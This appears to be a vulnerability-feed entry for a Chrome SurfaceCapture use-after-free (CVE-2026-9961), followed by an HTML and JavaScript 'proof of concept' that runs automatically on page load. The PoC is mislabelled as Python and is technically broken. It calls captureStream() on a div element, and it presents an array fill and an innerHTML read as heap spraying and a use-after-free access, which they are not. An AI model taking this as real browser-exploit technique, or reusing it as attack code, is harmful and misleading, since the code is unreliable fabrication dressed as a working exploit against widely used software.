Use after free in SurfaceCapture in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.216
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
This is a conceptual Proof of Concept (PoC) for the Use-After-Free vulnerability in Chrome SurfaceCapture.
Actual exploitation requires precise memory layout control and specific heap grooming.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-9961 PoC</title>
<script>
function trigger_uaf() {
// Step 1: Create the vulnerable object (Simulated SurfaceCapture context)
let vulnerable_obj = document.createElement('div');
// Setup capture logic (conceptual)
vulnerable_obj.captureStream();
// Step 2: Force the object to be freed
// Removing the element from DOM might trigger garbage collection or specific cleanup
vulnerable_obj.remove();
// Step 3: Heap grooming / Allocation to reclaim the freed memory
// Allocate a buffer of similar size to occupy the freed memory
let spray_buffer = new Array(100).fill(0x41414141);
// Step 4: Access the freed object (Use-After-Free)
// This attempts to access the memory of vulnerable_obj, which is now controlled by spray_buffer
try {
console.log(vulnerable_obj.innerHTML); // Accessing freed memory
} catch (e) {
console.log("Exception triggered: " + e);
}
}
window.onload = function() {
trigger_uaf();
}
</script>
</head>
<body>
<h1>CVE-2026-9961 Test Page</h1>
<p>Check console for crash or behavior.</p>
</body>
</html>